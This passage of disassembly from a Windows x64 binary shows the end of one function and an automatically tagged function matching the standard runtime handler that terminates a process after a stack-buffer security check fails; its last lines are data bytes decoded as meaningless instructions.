cmp dword [rax + 0x84], 0xe
ja 0x140014293
xor al, al
jmp 0x1400142b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142af
xor al, al
jmp 0x1400142b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140024e08
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140036f70], eax
call fcn.140025410
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140036f70], 0
jne case.default.0x140024e5e
mov ecx, 1
call fcn.140025410
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
pop rax
add edi, dword [rsi]
rol edx, cl
invalid